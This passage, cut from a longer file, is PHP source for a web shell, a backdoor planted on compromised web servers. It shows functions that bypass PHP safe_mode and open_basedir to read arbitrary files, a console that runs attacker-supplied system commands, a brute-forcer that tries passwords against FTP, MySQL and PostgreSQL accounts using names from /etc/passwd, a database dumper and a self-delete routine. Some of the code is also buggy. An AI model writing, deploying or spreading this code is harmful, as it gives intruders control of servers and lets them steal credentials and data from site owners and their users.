Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 'mkfile':
Β  Β  Β  Β  Β 
Β  Β  Β  Β  Β  Β  break;
Β  Β  }
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionSafeMode() {
Β  Β  $temp='';
Β  Β  ob_start();
Β  Β  switch($_POST['p1']) {
Β  Β  Β  Β  case 1:
Β  Β  Β  Β  Β  Β  $temp=@tempnam($test, 'cx');
Β  Β  Β  Β  Β  Β  if(@copy("compress.zlib://".$_POST['p2'], $temp)){
Β  Β  Β  Β  Β  Β  Β  Β  echo @file_get_contents($temp);
Β  Β  Β  Β  Β  Β  Β  Β  unlink($temp);
Β  Β  Β  Β  Β  Β  } else
Β  Β  Β  Β  Β  Β  Β  Β  echo 'Sorry... Can\'t open file';
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 2:
Β  Β  Β  Β  Β  Β  $files = glob($_POST['p2'].'*');
Β  Β  Β  Β  Β  Β  if( is_array($files) )
Β  Β  Β  Β  Β  Β  Β  Β  foreach ($files as $filename)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo $filename."\n";
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 3:
Β  Β  Β  Β  Β  Β  $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
Β  Β  Β  Β  Β  Β  curl_exec($ch);
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 4:
Β  Β  Β  Β  Β  Β  ini_restore("safe_mode");
Β  Β  Β  Β  Β  Β  ini_restore("open_basedir");
Β  Β  Β  Β  Β  Β  include($_POST['p2']);
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 5:
Β  Β  Β  Β  Β  Β  for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
Β  Β  Β  Β  Β  Β  Β  Β  $uid = @posix_getpwuid($_POST['p2']);
Β  Β  Β  Β  Β  Β  Β  Β  if ($uid)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo join(':',$uid)."\n";
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  case 6:
Β  Β  Β  Β  Β  Β  if(!function_exists('imap_open'))break;
Β  Β  Β  Β  Β  Β  $stream = imap_open($_POST['p2'], "", "");
Β  Β  Β  Β  Β  Β  if ($stream == FALSE)
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  echo imap_body($stream, 1);
Β  Β  Β  Β  Β  Β  imap_close($stream);
Β  Β  Β  Β  Β  Β  break;
Β  Β  }
Β  Β  $temp = ob_get_clean();
Β  Β  printHeader();
Β  Β  echo '<h1>Safe mode bypass</h1><div class=content>';
Β  Β  echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
Β  Β  if($temp)
Β  Β  Β  Β  echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionConsole() {
Β  Β  if(isset($_POST['ajax'])) {
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  echo "document.cf.cmd.value='';\n";
Β  Β  Β  Β  $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
Β  Β  Β  Β  if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) Β  Β {
Β  Β  Β  Β  Β  Β  if(@chdir($match[1])) {
Β  Β  Β  Β  Β  Β  Β  Β  $GLOBALS['cwd'] = @getcwd();
Β  Β  Β  Β  Β  Β  Β  Β  echo "document.mf.c.value='".$GLOBALS['cwd']."';";
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  echo "document.cf.output.value+='".$temp."';";
Β  Β  Β  Β  echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
Β  Β  Β  Β  $temp = ob_get_clean();
Β  Β  Β  Β  echo strlen($temp), "\n", $temp;
Β  Β  Β  Β  exit;
Β  Β  }
Β  Β  printHeader();
?>
<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
Β  Β  var n = (window.Event) ? e.which : e.keyCode;
Β  Β  if(n == 38) {
Β  Β  Β  Β  cur--;
Β  Β  Β  Β  if(cur>=0)
Β  Β  Β  Β  Β  Β  document.cf.cmd.value = cmds[cur];
Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  cur++;
Β  Β  } else if(n == 40) {
Β  Β  Β  Β  cur++;
Β  Β  Β  Β  if(cur < cmds.length)
Β  Β  Β  Β  Β  Β  document.cf.cmd.value = cmds[cur];
Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  cur--;
Β  Β  }
}
function add(cmd) {
Β  Β  cmds.pop();
Β  Β  cmds.push(cmd);
Β  Β  cmds.push("");
Β  Β  cur = cmds.length-1;
}
</script>
<?php
Β  Β  echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
Β  Β  foreach($GLOBALS['aliases'] as $n => $v) {
Β  Β  Β  Β  if($v == '') {
Β  Β  Β  Β  Β  Β  echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
Β  Β  Β  Β  Β  Β  continue;
Β  Β  Β  Β  }
Β  Β  Β  Β  echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
Β  Β  }
Β  Β  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
Β  Β  echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
Β  Β  if(!empty($_POST['p1'])) {
Β  Β  Β  Β  echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
Β  Β  }
Β  Β  echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
Β  Β  echo '</form></div><script>document.cf.cmd.focus();</script>';
Β  Β  printFooter();
}

function actionLogout() {
Β  Β  unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
Β  Β  echo '<body bgcolor=#000000>


<center><img src=http://i41.tinypic.com/260pizd.jpg></center>

</body>';
}

function actionSelfRemove() {
Β  Β  printHeader();
Β  Β  if($_POST['p1'] == 'yes') {
Β  Β  Β  Β  if(@unlink(SELF_PATH))
Β  Β  Β  Β  Β  Β  die('Shell has been Fucked');
Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  echo 'unlink error!';
Β  Β  }
Β  Β  echo '<h1>Suicide</h1><div class=content>Really want to Fuck the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
Β  Β  printFooter();
}

function actionBruteforce() {
Β  Β  printHeader();
Β  Β  if( isset($_POST['proto']) ) {
Β  Β  Β  Β  echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
Β  Β  Β  Β  if( $_POST['proto'] == 'ftp' ) {
Β  Β  Β  Β  Β  Β  function bruteForce($ip,$port,$login,$pass) {
Β  Β  Β  Β  Β  Β  Β  Β  $fp = @ftp_connect($ip, $port?$port:21);
Β  Β  Β  Β  Β  Β  Β  Β  if(!$fp) return false;
Β  Β  Β  Β  Β  Β  Β  Β  $res = @ftp_login($fp, $login, $pass);
Β  Β  Β  Β  Β  Β  Β  Β  @ftp_close($fp);
Β  Β  Β  Β  Β  Β  Β  Β  return $res;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  } elseif( $_POST['proto'] == 'mysql' ) {
Β  Β  Β  Β  Β  Β  function bruteForce($ip,$port,$login,$pass) {
Β  Β  Β  Β  Β  Β  Β  Β  $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
Β  Β  Β  Β  Β  Β  Β  Β  @mysql_close($res);
Β  Β  Β  Β  Β  Β  Β  Β  return $res;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  } elseif( $_POST['proto'] == 'pgsql' ) {
Β  Β  Β  Β  Β  Β  function bruteForce($ip,$port,$login,$pass) {
Β  Β  Β  Β  Β  Β  Β  Β  $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
Β  Β  Β  Β  Β  Β  Β  Β  $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
Β  Β  Β  Β  Β  Β  Β  Β  @pg_close($res);
Β  Β  Β  Β  Β  Β  Β  Β  return $res;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  $success = 0;
Β  Β  Β  Β  $attempts = 0;
Β  Β  Β  Β  $server = explode(":", $_POST['server']);
Β  Β  Β  Β  if($_POST['type'] == 1) {
Β  Β  Β  Β  Β  Β  $temp = @file('/etc/passwd');
Β  Β  Β  Β  Β  Β  if( is_array($temp) )
Β  Β  Β  Β  Β  Β  Β  Β  foreach($temp as $line) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $line = explode(":", $line);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ++$attempts;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $success++;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(@$_POST['reverse']) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $tmp = "";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  for($i=strlen($line[0])-1; $i>=0; --$i)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $tmp .= $line[0][$i];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ++$attempts;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $success++;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  } elseif($_POST['type'] == 2) {
Β  Β  Β  Β  Β  Β  $temp = @file($_POST['dict']);
Β  Β  Β  Β  Β  Β  if( is_array($temp) )
Β  Β  Β  Β  Β  Β  Β  Β  foreach($temp as $line) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $line = trim($line);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ++$attempts;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $success++;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
Β  Β  }
Β  Β  echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
Β  Β  Β  Β  .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
Β  Β  Β  Β  .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
Β  Β  Β  Β  .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
Β  Β  Β  Β  .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
Β  Β  Β  Β  .'<span>Server:port</span></td>'
Β  Β  Β  Β  .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
Β  Β  Β  Β  .'<tr><td><span>Brute type</span></td>'
Β  Β  Β  Β  .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
Β  Β  Β  Β  .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
Β  Β  Β  Β  .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
Β  Β  Β  Β  .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
Β  Β  Β  Β  .'<td><input type=text name=login value="komsen"></td></tr>'
Β  Β  Β  Β  .'<tr><td><span>Dictionary</span></td>'
Β  Β  Β  Β  .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
Β  Β  Β  Β  .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
Β  Β  echo '</div><br>';
Β  Β  printFooter();
}

function actionSql() {
Β  Β  class DbClass {
Β  Β  Β  Β  var $type;
Β  Β  Β  Β  var $link;
Β  Β  Β  Β  var $res;
Β  Β  Β  Β  function DbClass($type) Β  Β {
Β  Β  Β  Β  Β  Β  $this->type = $type;
Β  Β  Β  Β  }
Β  Β  Β  Β  function connect($host, $user, $pass, $dbname){
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $host = explode(':', $host);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(!$host[1]) $host[1]=5432;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function selectdb($db) {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if (@mysql_select_db($db))return true;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function query($str) {
Β  Β  Β  Β  Β  Β  switch($this->type) {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = @mysql_query($str);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = @pg_query($this->link,$str);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function fetch() {
Β  Β  Β  Β  Β  Β  $res = func_num_args()?func_get_arg(0):$this->res;
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @mysql_fetch_assoc($res);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @pg_fetch_assoc($res);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function listDbs() {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = @mysql_list_dbs($this->link);
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = $this->query("SELECT datname FROM pg_database");
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function listTables() {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = $this->query('SHOW TABLES');
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function error() {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @mysql_error($this->link);
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @pg_last_error($this->link);
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function setCharset($str) {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(function_exists('mysql_set_charset'))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @mysql_set_charset($str, $this->link);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $this->query('SET CHARSET '.$str);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  return @pg_set_client_encoding($this->link, $str);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  Β  Β  function dump($table) {
Β  Β  Β  Β  Β  Β  switch($this->type) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  case 'mysql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $create = mysql_fetch_array($res);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo $create[1].";\n\n";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $this->query('SELECT * FROM `'.$table.'`');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while($item = $this->fetch()) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $columns = array();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($item as $k=>$v) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $item[$k] = "'".@mysql_real_escape_string($v)."'";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $columns[] = "`".$k."`";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  Β  Β  case 'pgsql':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $this->query('SELECT * FROM '.$table);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while($item = $this->fetch()) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $columns = array();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($item as $k=>$v) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $item[$k] = "'".addslashes($v)."'";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $columns[] = $k;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  return false;
Β  Β  Β  Β  }
Β  Β  };
Β  Β  $db = new DbClass($_POST['type']);
Β  Β  if(@$_POST['p2']=='download') {
Β  Β  Β  Β  ob_start("ob_gzhandler", 4096);
Β  Β  Β  Β  $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
Β  Β  Β  Β  $db->selectdb($_POST['sql_base']);
Β  Β  Β  Β  header("Content-Disposition: attachment; filename=dump.sql");
Β  Β  Β  Β  header("Content-Type: text/plain");
Β  Β  Β  Β  foreach($_POST['tbl'] as $v)
Β  Β  Β  Β  Β  Β  Β  Β  $db->dump($v);
Β  Β  Β  Β  exit;
Β  Β  }
Β  Β  printHeader();
Β  Β  ?>
Β  Β  <h1>Sql browser</h1><div class=content>
Β  Β  <form name="sf" method="post">
Β  Β  Β  Β  <table cellpadding="2" cellspacing="0">
Β  Β  Β  Β  Β  Β  <tr>
Β  Β  Β  Β  Β  Β  Β  Β  <td>Type</td>
Β  Β  Β  Β  Β  Β  Β  Β  <td>Host</td>
Β  Β  Β  Β  Β  Β  Β  Β  <td>Login</td>
Β  Β  Β  Β  Β  Β  Β  Β  <td>Password</td>
Β  Β  Β  Β  Β  Β  Β  Β  <td>Database</td>
Β  Β  Β  Β  Β  Β  Β  Β  <td></td>
Β  Β  Β  Β  Β  Β  </tr>
Β  Β  Β  Β  Β  Β  <tr>
Β  Β  Β  Β  Β  Β  Β  Β  <input type=hidden name=a value=Sql>
Β  Β  Β  Β  Β  Β  Β  Β  <input type=hidden name=p1 value='query'>
Β  Β  Β  Β  Β  Β  Β  Β  <input type=hidden name=p2>
Β  Β  Β  Β  Β  Β  Β  Β  <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd']);?>'>
Β  Β  Β  Β  Β  Β  Β  Β  <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
Β  Β  Β  Β  Β  Β  Β  Β  <td>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <select name='type'>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  </select></td>
Β  Β  Β  Β  Β  Β  Β  Β  <td><input type=text name=sql_host value='<?php echo (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
Β  Β  Β  Β  Β  Β  Β  Β  <td><input type=text name=sql_login value='<?php echo (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
Β  Β  Β  Β  Β  Β  Β  Β  <td><input type=text name=sql_pass value='<?php echo (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
Β  Β  Β  Β  Β  Β  Β  Β  <td>
Β  Β  <?php
Β  Β  $tmp = "<input type=text name=sql_base value=''>";
Β  Β  if(isset($_POST['sql_host'])){
Β  Β  Β  Β  if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
Β  Β  Β  Β  Β  Β  switch($_POST['charset']) {
Β  Β  Β  Β  Β  Β  Β  Β  case "Windows-1251": $db->setCharset('cp1251'); break;
Β  Β  Β  Β  Β  Β  Β  Β  case "UTF-8": $db->setCharset('utf8'); break;
Β  Β  Β  Β  Β  Β  Β  Β  case "KOI8-R": $db->setCharset('koi8r'); break;
Β  Β  Β  Β  Β  Β  Β  Β  case "KOI8-U": $db->setCharset('koi8u'); break;
Β  Β  Β  Β  Β  Β  Β  Β  case "cp866": $db->setCharset('cp866'); break;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  $db->listDbs();
Β  Β  Β  Β  Β  Β  echo "<select name=sql_base><option value=''></option>";
Β  Β  Β  Β  Β  Β  while($item = $db->fetch()) {
Β  Β  Β  Β  Β  Β  Β  Β  list($key, $value) = each($item);
Β  Β  Β  Β  Β  Β  Β  Β  echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo '</select>';
Β  Β  Β  Β  }
Β  Β  Β  Β  else echo $tmp;
Β  Β  }else
Β  Β  Β  Β  echo $tmp;
Β  Β  ?></td>
Β  Β  Β  Β  Β  Β  Β  Β  <td><input type=submit value=">>"></td>
Β  Β  Β  Β  Β  Β  </tr>
Β  Β  Β  Β  </table>
Β  Β  Β  Β  <script>
Β  Β  Β  Β  Β  Β  function st(t,l) {
Β  Β  Β  Β  Β  Β  Β  Β  document.sf.p1.value = 'select';
Β  Β  Β  Β  Β  Β  Β  Β  document.sf.p2.value = t;
Β  Β  Β  Β  Β  Β  Β  Β  if(l!=null)document.sf.p3.value = l;
Β  Β  Β  Β  Β  Β  Β  Β  document.sf.submit();
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  function is() {
Β  Β  Β  Β  Β  Β  Β  Β  for(i=0;i<document.sf.elements['tbl[]'].length;++i)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  </script>
Β  Β  <?php
Β  Β  if(isset($db) && $db->link){
Β  Β  Β  Β  echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
Β  Β  Β  Β  Β  Β  if(!empty($_POST['sql_base'])){
Β  Β  Β  Β  Β  Β  Β  Β  $db->selectdb($_POST['sql_base']);
Β  Β  Β  Β  Β  Β  Β  Β  echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
Β  Β  Β  Β  Β  Β  Β  Β  $tbls_res = $db->listTables();
Β  Β  Β  Β  Β  Β  Β  Β  while($item = $db->fetch($tbls_res)) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  list($key, $value) = each($item);
